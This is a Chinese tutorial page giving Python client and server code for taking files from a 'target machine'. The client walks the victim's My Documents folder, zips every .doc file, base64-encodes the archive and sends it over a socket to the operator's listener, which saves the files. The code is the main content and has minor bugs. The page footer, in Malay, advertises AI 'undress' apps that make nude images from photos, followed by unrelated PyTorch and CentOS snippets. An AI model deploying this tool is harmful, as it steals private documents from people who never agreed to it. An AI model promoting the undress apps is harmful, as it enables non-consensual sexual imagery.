python实现获取客户机上指定文件并传输到服务器的方法
本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:
该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。
1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件
服务器端程序:
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 6553500 #6M
key = 'ouyang'
timeout = 5
dicName = "ouyang\\"
ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
ss.bind((HOST,PORT))
ss.listen(5)
print "wating for conntecting..."
while True:
try:
cs,addr = ss.accept()
socket.setdefaulttimeout(timeout)
cs.send("200 Connected!")
#获取加密数据
encode_data = cs.recv(BUF_SIZE)
#把数据写到out.zip文件
tmpfile = open('out.tmp','wb')
try:
tmpfile.write(encode_data)
tmpfile.close()
except IOError,e:
print 'Strange error creating IOError:%s' % e
tmpfile.close()
finally:
tmpfile.close()
#base64 decode 2进制 解密 decode(infile,outfile)
tmpfile = open('out.tmp','rb')
outfile = open('out.zip','wb')
base64.decode(tmpfile,outfile)
tmpfile.close()
outfile.close()
#打开zip文件
zfile = zipfile.ZipFile('out.zip','r')
#创建一个文件夹来存放获取的zip文件
if not os.path.exists(dicName):
os.mkdir(dicName)
for f in zfile.namelist():
data = zfile.read(f)
file = open(dicName+os.path.basename(f),'w+b')
file.write(data)
file.close()
print "finished!!!"
zfile.close()
#后续处理 删除临时文件
os.remove('out.tmp')
cs.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
cs.close()
ss.close()
except socket.error, e:
print 'Strange error creating socket:%s' % e
ss.close()
if __name__=='__main__':
main()
客户端程序:
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def main():
HOST = '127.0.0.1'
PORT = 2000
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:\Documents and Settings\Administrator\我的文档"
extName = '.doc'
#遍历搜索我的文档的doc类型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print "文件处理错误: " % e
sys.exit(-1)
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
cs.connect((HOST,PORT))
print cs.recv(BUF_SIZE)
#压缩成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2进制 加密 encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open('in.tmp','rb')
cs.send(tmpfile.read())
tmpfile.close()
#后续处理 删除中间文件
os.remove('in.tmp')
cs.close()
except socket.error ,e:
print 'socket 出错啦:' % e
cs.close()
if __name__=='__main__':
main()
希望本文所述对大家的Python程序设计有所帮助。

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



PHP dan Python mempunyai kelebihan dan kekurangan mereka sendiri, dan pilihannya bergantung kepada keperluan projek dan keutamaan peribadi. 1.PHP sesuai untuk pembangunan pesat dan penyelenggaraan aplikasi web berskala besar. 2. Python menguasai bidang sains data dan pembelajaran mesin.

Latihan yang cekap model pytorch pada sistem CentOS memerlukan langkah -langkah, dan artikel ini akan memberikan panduan terperinci. 1. Penyediaan Persekitaran: Pemasangan Python dan Ketergantungan: Sistem CentOS biasanya mempamerkan python, tetapi versi mungkin lebih tua. Adalah disyorkan untuk menggunakan YUM atau DNF untuk memasang Python 3 dan menaik taraf PIP: Sudoyumupdatepython3 (atau SudodnfupdatePython3), pip3install-upgradepip. CUDA dan CUDNN (Percepatan GPU): Jika anda menggunakan Nvidiagpu, anda perlu memasang Cudatool

Docker menggunakan ciri -ciri kernel Linux untuk menyediakan persekitaran berjalan yang cekap dan terpencil. Prinsip kerjanya adalah seperti berikut: 1. Cermin digunakan sebagai templat baca sahaja, yang mengandungi semua yang anda perlukan untuk menjalankan aplikasi; 2. Sistem Fail Kesatuan (Unionfs) menyusun pelbagai sistem fail, hanya menyimpan perbezaan, menjimatkan ruang dan mempercepatkan; 3. Daemon menguruskan cermin dan bekas, dan pelanggan menggunakannya untuk interaksi; 4. Ruang nama dan cgroups melaksanakan pengasingan kontena dan batasan sumber; 5. Pelbagai mod rangkaian menyokong interkoneksi kontena. Hanya dengan memahami konsep -konsep teras ini, anda boleh menggunakan Docker dengan lebih baik.

Membolehkan pecutan GPU pytorch pada sistem CentOS memerlukan pemasangan cuda, cudnn dan GPU versi pytorch. Langkah-langkah berikut akan membimbing anda melalui proses: Pemasangan CUDA dan CUDNN Tentukan keserasian versi CUDA: Gunakan perintah NVIDIA-SMI untuk melihat versi CUDA yang disokong oleh kad grafik NVIDIA anda. Sebagai contoh, kad grafik MX450 anda boleh menyokong CUDA11.1 atau lebih tinggi. Muat turun dan pasang Cudatoolkit: Lawati laman web rasmi Nvidiacudatoolkit dan muat turun dan pasang versi yang sepadan mengikut versi CUDA tertinggi yang disokong oleh kad grafik anda. Pasang Perpustakaan Cudnn:

Python dan JavaScript mempunyai kelebihan dan kekurangan mereka sendiri dari segi komuniti, perpustakaan dan sumber. 1) Komuniti Python mesra dan sesuai untuk pemula, tetapi sumber pembangunan depan tidak kaya dengan JavaScript. 2) Python berkuasa dalam bidang sains data dan perpustakaan pembelajaran mesin, sementara JavaScript lebih baik dalam perpustakaan pembangunan dan kerangka pembangunan depan. 3) Kedua -duanya mempunyai sumber pembelajaran yang kaya, tetapi Python sesuai untuk memulakan dengan dokumen rasmi, sementara JavaScript lebih baik dengan MDNWebDocs. Pilihan harus berdasarkan keperluan projek dan kepentingan peribadi.

Penyimpanan Objek Minio: Penyebaran berprestasi tinggi di bawah CentOS System Minio adalah prestasi tinggi, sistem penyimpanan objek yang diedarkan yang dibangunkan berdasarkan bahasa Go, serasi dengan Amazons3. Ia menyokong pelbagai bahasa pelanggan, termasuk Java, Python, JavaScript, dan GO. Artikel ini akan memperkenalkan pemasangan dan keserasian minio pada sistem CentOS. Keserasian versi CentOS Minio telah disahkan pada pelbagai versi CentOS, termasuk tetapi tidak terhad kepada: CentOS7.9: Menyediakan panduan pemasangan lengkap yang meliputi konfigurasi kluster, penyediaan persekitaran, tetapan fail konfigurasi, pembahagian cakera, dan mini

Apabila memilih versi pytorch di bawah CentOS, faktor utama berikut perlu dipertimbangkan: 1. Keserasian versi CUDA Sokongan GPU: Jika anda mempunyai NVIDIA GPU dan ingin menggunakan pecutan GPU, anda perlu memilih pytorch yang menyokong versi CUDA yang sepadan. Anda boleh melihat versi CUDA yang disokong dengan menjalankan arahan NVIDIA-SMI. Versi CPU: Jika anda tidak mempunyai GPU atau tidak mahu menggunakan GPU, anda boleh memilih versi CPU PyTorch. 2. Pytorch versi python

CentOS Memasang Nginx memerlukan mengikuti langkah-langkah berikut: memasang kebergantungan seperti alat pembangunan, pcre-devel, dan openssl-devel. Muat turun Pakej Kod Sumber Nginx, unzip dan menyusun dan memasangnya, dan tentukan laluan pemasangan sebagai/usr/local/nginx. Buat pengguna Nginx dan kumpulan pengguna dan tetapkan kebenaran. Ubah suai fail konfigurasi nginx.conf, dan konfigurasikan port pendengaran dan nama domain/alamat IP. Mulakan perkhidmatan Nginx. Kesalahan biasa perlu diberi perhatian, seperti isu ketergantungan, konflik pelabuhan, dan kesilapan fail konfigurasi. Pengoptimuman prestasi perlu diselaraskan mengikut keadaan tertentu, seperti menghidupkan cache dan menyesuaikan bilangan proses pekerja.
